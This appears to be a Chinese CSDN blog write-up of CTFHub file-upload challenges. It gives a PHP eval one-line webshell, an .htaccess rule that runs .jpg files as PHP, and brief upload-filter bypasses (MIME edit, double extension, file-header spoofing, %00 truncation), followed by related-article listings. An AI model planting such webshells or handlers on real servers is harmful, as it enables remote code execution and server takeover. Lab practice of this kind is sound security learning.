ctfhub 技能树 web 文件上传

最新推荐文章于 2024-08-28 11:59:16 发布
最新推荐文章于 2024-08-28 11:59:16 发布
阅读量99 收藏
点赞数
分类专栏： ctfshow通关 文章标签： 前端 php 开发语言 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_62207170/article/details/130228164
版权

1.无验证

直接上传一句话木马

<?php @eval($_POST[1])?>

在使用蚁剑连接，查看flag
在这里插入图片描述

2.前端js

直接删除j验证的js代码即可
或禁用js

3.MIME检查

burp抓包修改mime
在这里插入图片描述
蚁剑连接
在这里插入图片描述

4…htaccess

上传.htaccess
把jpg后缀的文件当php代码处理

<FilesMatch "\.jpg">
  SetHandler application/x-httpd-php
</FilesMatch>

1.jpg

<?php @eval($_POST[1])?>

上传1.jpg
蚁剑连接
在这里插入图片描述

5.双写后缀

burp抓包改后缀
在这里插入图片描述
蚁剑连接
在这里插入图片描述

6.检查文件头

找一张gif图片，猜测这里应该没有检查后缀，只是检查了文件头，因为检查文件头，只要文件头不匹配是不能成功的，如果检查了后缀，那么这题只能用配合文件包含来做
burp抓包，修改后缀
在这里插入图片描述
蚁剑连接
在这里插入图片描述

7.%00截断

抓包
在这里插入图片描述
蚁剑连接
在这里插入图片描述
文件上传简单总结：
在这里插入图片描述
参考文章：
文件头

mushangqiujin
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
CTFHub技能树 Web-文件上传详解
千寻的博客
11-21 3196
文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷，而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马，病毒，恶意脚本或者WebShell等。“文件上传”本身没有问题，有问题的是文件上传后，服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全，则会导致严重的后果。 ———————————————— 版权声明：本文为CSDN博主「Fasthand_」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。 原文链接：ht
CTFHub技能树web之文件上传（一）
wzhwzh123321的博客
02-15 1324
使用蚁剑连接，上传的.htaccess文件文件名字只能是.htaccess，只能有后缀而不能有文件的名，比如1.htaccess等，在第一次上传中我使用了1.htaccess，在后续上传jpg格式文件后服务器没有自动将jpg解析为php文件，需要注意。JavaScript会对我们上传的文件进行限制，允许图片格式上传，可以通过上传图片马或者使用bp修改一下文件后缀即可，本题使用bp修改文件后缀的方法，先将文件后缀修改为.jpg格式，文件上传然后抓包。文件上传目录权限：确保上传目录的适当权限设置非常重要。
CTFHub技能树web之文件上传（二）
wzhwzh123321的博客
02-15 555
MIME类型校验就是我们在上传文件到服务端的时候，服务端会对客户端也就是我们上传的文件的Content-Type类型进行检测，如果是白名单所允许的，则可以正常上传，否则上传失败。直接将文件名改为phpphp后仍然回显空的后缀，应当是将php替换为空，直接双写会返回两个空，因此将后缀改为pphphp，只能识别到第二个字符开始的php并改为空，剩下的拼接仍然是一个php后缀。成功上传，观察回显，发现上传的文件中的php后缀消失，结合题目应该是需要将php双写完成绕过。上传成功，使用蚁剑连接，成功连接。
CTFHub技能树 Web-文件上传 详解
weixin_45808483的博客
11-15 2695
无验证 启动环境 我们上传一句话木马 <?php @eval($_POST['shell']);?> 提示了相对路径， 我们直接使用蚁剑连接。 找到flag。 前端验证 上传php文件，前端校验不允许上传php文件 审计代码，只允许上传图片类型 我们先将后缀改为 .jpg 上传成功 再通过burp抓包，修改filename="1.php"和Content-Type: php 发送数据包，页面显示上传成功 使用蚁剑连接 成...
ctfhub技能树web
m0_58030673的博客
05-19 1098
ctfhub技能树web方向wp
ctfhub技能树web--sql注入
m0_64636395的博客
05-15 829
SQL 注入是一种将 SQL 代码插入或添加到应用（用户）的输入参数中，之后再将这些参数传递给后台的 SQL 服务器加以解析并执行的攻击。攻击者能够修改 SQL 语句，该进程将与执行命令的组件（如数据库服务器、应用服务器或 WEB 服务器）拥有相同的权限。如果 WEB 应用开发人员无法确保在将从 WEB 表单、cookie、输入参数等收到的值传递给 SQL 查询（该查询在数据库服务器上执行）之前已经对其进行过验证，通常就会出现 SQL 注入漏洞。提示：以下是本篇文章正文内容，下面案例可供参考。
CTFHub-Web-文件上传
IceCream的博客
05-01 1401
1.编写一段PHP木马脚本2.将编写好的木马进行上传3.显示上传成功了4.使用文件上传工具进行尝试5.连接成功进入文件管理6.上翻目录找到flag文件7.打开文件查看flag。
ctfhub web 文件上传 技能树 wp
m0_55854679的博客
05-22 580
ctfhub 文件上传 - htaccess 查看网页源码，可以看到常用的文件后缀都被禁用。 根据题目的提示，.hatccess文件【.htaccess是Apache的又一特色。一般来说，配置文件的作用范围都是全局的，但Apache提供了一种很方便的、可作用于当前目录及其子目录的配置文件——.htaccess（分布式配置文件）】 ......
CTFHub技能树之web文件上传“.htaccess”
qq_53148935的博客
04-04 734
注：本人第一次写博客，主要是为了记录解题过程，如有不足之处，欢迎指出，但勿喷。 这几天开始做了些ctfhub技能树里面的题目，因为我们这学期开始学了一些web攻防的内容，然后就想着去ctfhub练练技能，话不多说，我们直接进入解题过程。 先看看题目 这里给了些提示内容，说htaccess文件是apache的一个配置文件之类的，有兴趣可以自行百度了解一下。在这题里面，htaccess文件的作用就是让别的文件以你指定的方式运行，如.txt文件可以以.php文件的形式运行。 了解了这些之后我们就会有一
ctfhub web全部做题记录(持续跟新)
01-08
【总结】在CTF Web挑战中，了解信息泄露、备份文件、源码解析、文件后缀、vim缓存、版本控制、弱口令、SQL注入、文件上传漏洞等概念至关重要。掌握这些技能可以帮助参赛者在比赛中发现并利用安全漏洞，获取flag。...
ctfhub技能树_web_web前置技能_HTTP
YanLucyqi的博客
11-28 1941
POST请求可能会导致新的资源的建立和/或已有资源的修改。重定向的返回码3XX说明。（7）点击Repeater，修改target（其中Host为网址的ip地址，Port为网址的端口号），并将内容粘贴进Request的Raw去。（7）点击Repeater，修改target（其中Host为网址的ip地址，Port为网址的端口号），并将内容粘贴进Request的Raw去。（7）点击Repeater，修改target（其中Host为网址的ip地址，Port为网址的端口号），并将内容粘贴进Request的Raw去。
CTFHub技能树
weixin_59480274的博客
04-23 5193
文章目录一、CTF基础知识1、CTF简介2、竞赛二、使用步骤1.引入库2.读入数据总结 一、CTF基础知识 1、CTF简介 开启题目 2、竞赛 开启题目 二、使用步骤 1.引入库 代码如下（示例）： import numpy as np import pandas as pd import matplotlib.pyplot as plt import seaborn as sns import warnings warnings.filterwarnings('ignore') import ss
CTFHub技能树.Web.文件上传题解
qq_45716477的博客
04-25 570
目录题目0x00 原理0x01 无验证0x02 前端验证0x03 .htaccess0x04 MIME绕过0x05 00截断0x06 双写后缀0x07 文件头检查 题目 0x00 原理 在存在文件上传的网页中上传带有恶意代码的文件并让此代码被执行，完成我们想要做的事。在这里，可以考虑上传一句话木马。 0x01 无验证 0x02 前端验证 0x03 .htaccess 0x04 MIME绕过 0x05 00截断 0x06 双写后缀 0x07 文件头检查 ...
CTFHUB-技能树-WEB通关
Alita_lxz的博客
11-11 7048
Web 题目来自ctfhub技能树web部分 Web前置技能 操作系统 数据库 HTTP协议 请求方式 HTTP 请求方法, HTTP/1.1协议中共定义了八种方法（也叫动作）来以不同方式操作指定的资源。 ​ 1.OPTIONS 　　返回服务器针对特定资源所支持的HTTP请求方法。也可以利用向Web服务器发送’*'的请求来测试服务器的功能性,如获取当前URL所支持的方法。若请求成功，则它会在HTTP头中包含一个名为“Allow”的头，值是所支持的方法，如“GET,POST”。 　2.HEAD 　　向服务
JavaScript代码片段
weixin_66128399的博客
08-26 672
使用场景是：后端列表查询接口，某个字段前端不传，后端就不根据那个字段筛选，例如name不传的话，就只根据page和pageSize筛选，但是前端查询参数的时候（vue或者react）中，往往会这样定义。给后端发送数据的时候，要判断某个属性是不是空字符串，然后给后端拼参数，这块逻辑抽离出来就是cleanObject，代码实现如下。leading-true，trailing-true：在延时开始时就调用，延时结束后也会调用。//第一个参数指定位数，第二个字符串指定字符，都是可选参数，如果都不传，默认生成8位。
vue ref和reactive区别
灰海
08-25 2014
在第二个示例中，我们使用了reactive来创建一个名为state的响应式对象，它包含name和age两个属性。在模板中，我们通过{{ state.name }}和{{ state.age }}来显示state对象的属性值。在第一个示例中，我们使用了ref来创建一个名为count的响应式引用，它是一个简单的数字类型。在模板中，我们通过{{ count }}直接显示count的值，而不需要.value前缀，因为Vue的模板语法会自动处理ref的.value访问。
AI 大模型时代，对前端工程师有哪些机遇和挑战？
最新发布
Z4400840的博客
08-28 635
AI 大模型时代为前端工程师带来了丰富的机遇，同时也带来了挑战。前端工程师需要积极适应这些变化，掌握新的技能，以抓住时代发展的红利。通过不断学习和提升技术水平，前端工程师可以在AI时代中发挥更大的作用，创造更多的价值。
零基础5分钟上手亚马逊云科技-云原生架构设计
m0_66628975的博客
08-26 1900
欢迎来到小李哥全新亚马逊云科技AWS云计算知识学习系列，适用于任何无云计算或者亚马逊云科技技术背景的开发者，通过这篇文章大家零基础5分钟就能完全学会亚马逊云科技一个经典的服务开发架构方案。我会每天介绍一个基于亚马逊云科技AWS云计算平台的全球前沿云开发/架构技术解决方案，帮助大家快速了解国际上最热门的云计算平台亚马逊云科技AWS最佳实践，并应用到自己的日常工作里。
ctfhub技能树web基础认证
03-13
CTFHub是一个CTF（Capture The Flag）竞赛平台，提供了丰富的技能树来帮助学习者提升Web基础认证的能力。下面是CTFHub技能树中关于Web基础认证的内容： 1. HTTP协议：了解HTTP协议的基本原理和常见的请求方法（GET、POST等），了解HTTP请求和响应的结构。 2. URL编码和解码：学习URL编码和解码的原理和常见的编码方式，如URL编码中的%20代表空格。 3. Cookies：了解Cookies的作用和原理，学习如何使用Cookies进行用户认证和状态管理。 4. Session管理：学习Session的概念和原理，了解如何使用Session进行用户认证和状态管理。 5. 基本认证（Basic Authentication）：学习基本认证的原理和流程，了解如何使用用户名和密码进行认证。 6. 表单认证（Form-based Authentication）：学习表单认证的原理和流程，了解如何使用表单提交用户名和密码进行认证。 7. Token认证：学习Token认证的原理和流程，了解如何使用Token进行用户认证和状态管理。 8. CSRF攻击与防御：学习CSRF（Cross-Site Request Forgery）攻击的原理和常见的防御措施9. XSS攻击与防御：学习XSS（Cross-Site Scripting）攻击的原理和常见的防御措施10. SQL注入攻击与防御：学习SQL注入攻击的原理和常见的防御措施。 以上是CTFHub技能树中关于Web基础认证的内容，通过学习这些知识，你可以提升自己在Web安全领域的认证技能。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值